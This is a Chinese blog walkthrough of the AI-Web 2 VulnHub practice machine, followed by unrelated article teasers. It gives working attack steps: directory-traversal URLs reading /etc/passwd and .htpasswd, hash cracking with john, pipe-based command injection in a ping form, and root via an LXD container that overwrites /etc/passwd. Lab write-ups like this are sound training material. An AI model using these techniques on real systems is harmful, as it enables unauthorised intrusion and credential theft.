vulnhub靶机AI-Web2渗透笔记

文章目录

  • 环境准备
  • 渗透过程
      • 1.信息收集
          • 1.1 主机发现
          • 1.2 端口扫描
          • 1.3 访问web网页(80端口)
  • 2.漏洞利用
      • 1 利用目录穿越(Directory Traversal)漏洞读取/etc/passwd
      • 2.利用暴力破解获取密码
      • 3.爆破目录
      • 4.利用命令执行漏洞获得ssh账号密码
  • 3.提权
  • 4.总结


环境准备

靶机环境搭建
攻击渗透机: kali IP地址:192.168.33.128
靶机:DC-7 IP地址未知
靶机下载地址:https://www.vulnhub.com/entry/ai-web-2,357/


渗透过程

1.信息收集

1.1 主机发现
netdiscover -r 192.168.33.0/24

扫描到目标靶机IP地址为:192.168.33.135
在这里插入图片描述
也可以使用arp扫描整个网段,确认存活主机

arp-scan -l 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)

同样扫描到了目标靶机IP地址为:192.168.33.135
在这里插入图片描述

1.2 端口扫描

确定了目标IP地址,我们才能做之后的渗透学习,接下来就是确认目标开放了那些端口和服务,使用nmap神器进行扫描把

nmap -T4 -sV -O -A -P 192.168.33.135
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p(所有端口)

我这样写比较极端,导致扫描时间较长,被发现的可能性也非常大,但因为是靶机,拿来进行学习,那就无所谓了
在这里插入图片描述
扫描到目标靶机开放了22端口(ssh服务)和80端口(http服务),以及有关这两个端口的详细信息
这里发现了Credit: XuezhuLi 或许是一个用户?信息还不太多,继续收集

1.3 访问web网页(80端口)

既然目标都开着80端口,就去访问下看有没有什么可用信息
发现网页中并没有什么可用信息
在这里插入图片描述
注册了一个用户,登录进去查看
发现了提示:
在这里插入图片描述
Google一下"XuezhuLi FileSharing"
在这里插入图片描述
发现是对一个漏洞的介绍,利用目录穿越(Directory Traversal)漏洞读取/etc/passwd

2.漏洞利用

1 利用目录穿越(Directory Traversal)漏洞读取/etc/passwd

http://192.168.33.135/download.php?file_name=../../../../../../../../../../../../../etc/passwd

在这里插入图片描述
下载这个文件之后打开
在这里插入图片描述
获得两个具有/bin/bash权限的用户 aiweb2n0nr00tuser,除此之外就没有别的可用信息了,这里是可以直接使用hydra进行爆破密码的,但是我并不知道需要花费多少时间,以及需要一个足够强大的字典,所以我就放弃了暴力破解,继续收集信息

貌似还是没有什么用,,,继续读取apache默认配置文件路径

http://192.168.33.135/download.php?file_name=../../../../../../../../../etc/apache2/sites-enabled/000-default.conf

在这里插入图片描述
下载这个文件之后打开
在这里插入图片描述
得到一个文件路径,网页访问一下

http://192.168.33.135/download.php?file_name=../../../../../../../../../../../../../etc/apache2/.htpasswd

在这里插入图片描述
下载这个文件之后打开
在这里插入图片描述
账户密码!!!aiweb2admin: a p r 1 apr1 apr1VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/

2.利用暴力破解获取密码

使用john进行爆破一下,发现爆破不了
后面看了描述提示了字典:

This is the second box from the series AI: Web and you will have more fun to crack this challenge.
The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to
 root.You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.
For any hint please tweet on @arif_xpress

提示我们使用rockyou-45.txt这个字典来进行破解
字典下载地址:https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt
下载好后我们就可以开始进行破解了

john --wordlist=./rockyou-45.txt 1.txt 
john --show 1.txt 

在这里插入图片描述
爆破得到账号密码 用户名:aiweb2admin 密码:c.ronaldo

3.爆破目录

得到了用户名和密码,我首先想到的是ssh登录,尝试ssh登录

ssh aiweb2admin@192.168.33.135

在这里插入图片描述
发现错误了,并不是ssh用户,获取是登录界面的账号密码
爆破后台登陆网页

dirb http://192.168.33.142

在这里插入图片描述
发现后疑似台登录界面 :webadmin,点击访问
在这里插入图片描述
确实是登录界面,输入刚刚获取到的用户名和密码进行登录
在这里插入图片描述
成功登录!,并且提示我们 robots目录,访问看看

http://192.168.33.135/webadmin/robots.txt

在这里插入图片描述
访问一下 robots.txt,发现里面有两个目录!!

4.利用命令执行漏洞获得ssh账号密码

访问第一个目录,,发现是个ping ip地址的,考虑是否存在命令执行

http://192.18.33.135/webadmin/HOSTpin9555/

在这里插入图片描述
再看看另一个目录/S0mextras/,提示我们想要的就这目录里面

http://192.168.33.135/webadmin/S0mextras/

在这里插入图片描述
所以我们尝试第一个目录里面的命令执行
在这里插入图片描述
在这里插入图片描述
但是正常的输入不起作用,怀疑是后端存在过滤,将我们构造的命令过滤掉了
尝试"&" “&&” “|” "||“是否能绕过,最后发现”|"可以绕过

127.0.0.1|ls

在这里插入图片描述
在这里插入图片描述
然后查看有哪些文件,发现只存在一个index.html文件,怀疑存在隐藏文件
在这里插入图片描述
在这里插入图片描述
执行127.0.0.1|ls -al /var/www/html/webadmin/S0mextras/,但是并没什么用
隐藏文件一般都是"."开头的,可以使用find命令:127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/
在这里插入图片描述
找到了许多的隐藏界面,我们分别一一进行访问查看

127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt

最终在**.sshUserCred55512.txt**文件中发现ssh的登录账号密码
在这里插入图片描述
再次尝试ssh
在这里插入图片描述
成功连接!

3.提权

可以看到权限极低,使用sudo -l命令查看到n0nr00tuser无权限执行任何sudo,面领提权问题
在这里插入图片描述
使用python提升至交互式shell,方便我们观看和后续操作

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
命令查看find / -perm -u=s -type f 2>/dev/null二进制文件
在这里插入图片描述
这个账户对 lxc (https://blog.csdn.net/u011630575/article/details/65444404)命令权限比较大,以此为突破口,
尝试创建一个容器,并重新写入一个root用户带有密码的passwd文件上传到创建的容器里,
以此来覆盖主机上的passwd文件,再提权为root

lxc start UbuntuMini 
lxc config set UbuntuMini security.privileged true
lxc config set UbuntuMini security.nesting true
lxc config device add UbuntuMini sharetesting disk source=/etc path=/sharingiscaring
Device sharetesting added to UbuntuMini

在主机上新建一个passwd文件,将以下内容复制进去,并赋予root密码killem

root:AzbGfP688Nta.:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aiweb2:x:1000:1000::/home/aiweb2:/bin/bash
n0nr00tuser:x:1001:1001::/home/n0nr00tuser:/bin/bash

在执行命令,将passwd上传到容器里

lxc file push passwd UbuntuMini/sharingiscaring/passwd

上传成功之后就覆盖了原来的passwd文件,接下来只需要使用su命令切换到root,就可以拿到flag

su -root
输入密码
whoami
cat /root/flag.txt

在这里插入图片描述
大功告成,拿到了目标靶机的root权限,这个靶机就已经完全被你攻破了

4.总结

1.lxc提权尚未接触,十分不熟悉
2.find命令用法还不是很清楚

最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!

热门文章

暂无图片
编程学习 ·

C语言二分查找详解

二分查找是一种知名度很高的查找算法,在对有序数列进行查找时效率远高于传统的顺序查找。 下面这张动图对比了二者的效率差距。 二分查找的基本思想就是通过把目标数和当前数列的中间数进行比较,从而确定目标数是在中间数的左边还是右边,将查…
暂无图片
编程学习 ·

GMX 命令分类列表

建模和计算操作命令: 1.1 . 创建拓扑与坐标文件 gmx editconf - 编辑模拟盒子以及写入子组(subgroups) gmx protonate - 结构质子化 gmx x2top - 根据坐标生成原始拓扑文件 gmx solvate - 体系溶剂化 gmx insert-molecules - 将分子插入已有空位 gmx genconf - 增加…
暂无图片
编程学习 ·

一文高效回顾研究生课程《数值分析》重点

数值分析这门课的本质就是用离散的已知点去估计整体,就是由黑盒子产生的结果去估计这个黑盒子。在数学里这个黑盒子就是一个函数嘛,这门课会介绍许多方法去利用离散点最大化地逼近这个函数,甚至它的导数、积分,甚至微分方程的解。…
暂无图片
编程学习 ·

在职阿里5年,一个28岁女软测工程师的心声

简单的先说一下,坐标杭州,14届本科毕业,算上年前在阿里巴巴的面试,一共有面试了有6家公司(因为不想请假,因此只是每个晚上去其他公司面试,所以面试的公司比较少) ​ 编辑切换为居中…
暂无图片
编程学习 ·

字符串左旋c语言

目录 题目: 解题思路: 第一步: 第二步: 第三步: 总代码: 题目: 实现一个函数,可以左旋字符串中的k个字符。 例如: ABCD左旋一个字符得到BCDA ABCD左旋两个字符…
暂无图片
编程学习 ·

设计模式--观察者模式笔记

模式的定义与特点 观察者(Observer)模式的定义:指多个对象间存在一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都得到通知并被自动更新。这种模式有时又称作发布-订阅模式、模型-视图模式&#xf…
暂无图片
编程学习 ·

睡觉突然身体动不了,什么是睡眠痽痪症

很多朋友可能有这样的体验,睡觉过程中突然意识清醒,身体却动弹不了。这时候感觉非常恐怖,希望旁边有一个人推自己一下。阳光以前也经常会碰到这样的情况,一年有一百多次,那时候很害怕晚上到来,睡觉了就会出…
暂无图片
编程学习 ·

深入理解C++智能指针——浅析MSVC源码

文章目录unique_ptrshared_ptr 与 weak_ptrstd::bad_weak_ptr 异常std::enable_shared_from_thisunique_ptr unique_ptr 是一个只移型别(move-only type,只移型别还有std::mutex等)。 结合一下工厂模式,看看其基本用法&#xff…
暂无图片
编程学习 ·

@TableField(exist = false)

TableField(exist false) //申明此字段不在数据库存在,但代码中需要用到它,通知Mybatis-plus在做写库操作是忽略它。,.
暂无图片
编程学习 ·

Java Web day15

第十二章文件上传和下载 一、如何实现文件上传 要实现Web开发中的文件上传功能,通常需要完成两步操作:一.是在Web页面中添加上传输入项;二是在Servlet中读取上传文件的数据,并保存到本地硬盘中。 需要使用一个Apache组织提供一个…
暂无图片
编程学习 ·

【51nod 2478】【单调栈】【前缀和】小b接水

小b接水题目解题思路Code51nod 2478 小b接水 题目 输入样例 12 0 1 0 2 1 0 1 3 2 1 2 1输出样例 6解题思路 可以发现最后能拦住水的都是向两边递减高度(?) 不管两个高积木之间的的积木是怎样乱七八糟的高度,最后能用来装水的…
暂无图片
编程学习 ·

花了大半天写了一个UVC扩展单元调试工具

基于DIRECTSHOW 实现的,用的是MFC VS2019. 详见:http://www.usbzh.com/article/detail-761.html 获取方法 加QQ群:952873936,然后在群文件\USB调试工具&测试软件\UVCXU-V1.0(UVC扩展单元调试工具-USB中文网官方版).exe USB中文网 USB中文…
暂无图片
编程学习 ·

贪心(一):区间问题、Huffman树

区间问题 例题一:区间选点 给定 N 个闭区间 [ai,bi]请你在数轴上选择尽量少的点,使得每个区间内至少包含一个选出的点。 输出选择的点的最小数量。 位于区间端点上的点也算作区间内。 输入格式 第一行包含整数 N,表示区间数。 接下来 …
暂无图片
编程学习 ·

C语言练习实例——费氏数列

目录 题目 解法 输出结果 题目 Fibonacci为1200年代的欧洲数学家,在他的着作中曾经提到:「若有一只免子每个月生一只小免子,一个月后小免子也开始生产。起初只有一只免子,一个月后就有两只免子,二个月后有三只免子…
暂无图片
编程学习 ·

Android开发(2): Android 资源

个人笔记整理 Android 资源 Android中的资源,一般分为两类: 系统内置资源:Android SDK中所提供的已经定义好的资源,用户可以直接拿来使用。 用户自定义资源:用户自己定义或引入的,只适用于当前应用的资源…
暂无图片
编程学习 ·

零基础如何在短时间内拿到算法offer

​算法工程师是利用算法处理事物的职业 算法(Algorithm)是一系列解决问题的清晰指令,也就是说,能够对一定规范的输入,在有限时间内获得所要求的输出。 如果一个算法有缺陷,或不适合于某个问题,执…
暂无图片
编程学习 ·

人工智能:知识图谱实战总结

人工智能python,NLP,知识图谱,机器学习,深度学习人工智能:知识图谱实战前言一、实体建模工具Protegepython,NLP,知识图谱,机器学习,深度学习 人工智能:知识图…
暂无图片
编程学习 ·

【无标题】

这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注…